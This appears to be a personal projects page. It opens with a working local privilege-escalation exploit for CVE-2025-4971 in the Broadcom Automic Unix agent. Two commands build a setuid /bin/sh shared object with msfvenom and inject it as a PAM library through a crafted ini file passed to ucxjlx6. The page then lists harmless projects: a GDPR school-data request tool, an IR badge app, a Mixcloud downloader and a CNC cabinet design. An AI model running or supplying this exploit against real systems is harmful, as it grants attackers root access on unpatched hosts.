cve-2025-4971

this is my exploit for a privesc I found in the *nix agent of broadcom automic. works below version 24.3.0 HF4 and 21.0.13 HF1

1. Generate shared object file using msfvenom
$ msfvenom -p linux/x64/exec PrependSetuid=True PrependSetguid=True \
  CMD="/bin/sh" -f elf-so > /tmp/sh.so

2. Run the ucxjlx6 executable as follows
$ ./ucxjlx6 \
    ini=<(echo -e "
      [GLOBAL]\nhelplib = /dev/null\nsystem = blep\n
      [MISC]\nauthentication = PAM\n
      [PAM]\nlibName = /tmp/sh.so\n
      [VARIABLES]\nUC_EX_JOB_MD=blep")

deine schuldaten

single page application for generating gdpr requests to schools, based on bulma and jspdf. works completely on the client side. can be seen in action on deine-schuldaten.de. a much more sophisticated application for this (targeted at companies) was created by datenanfragen.de and can be found on their github profile.

deine-schuldaten.zip (assets & 3rd party code not included)

aoc 22

you can find my attempt at aoc 22 here. after a few days i was too stressed out and gave up.

xiao bill

the people from mystery hack made a wonderful badge game for 36c3. because my phone happened to have an ir emitter i made a small app so you can change the color of your badge using your phone.

MainActivity.java

there also is an ir file for the flipper zero

Bill.ir

mixcloud

i made this to download multiple episodes of the radio show DETOX // INTOX for a long car ride. later i noticed that youtube-dl already does the same job, but i threw this mess together myself, so now i'm going to use it!

mixcloud.py

cabinet

This is a cabinet that can be milled out of one wooden board on a large CNC mill. your board should be 18mm thick. the vertical lines on the largest piece are kerf cuts, where you should not cut through, but instead leave around 1.8mm of material. that way you can pour hot water on the material to make it more flexible and bend it around so you can connect it using the press-fit connections. if you want to reproduce this and need more details about the machining let me know

cabinet.dxf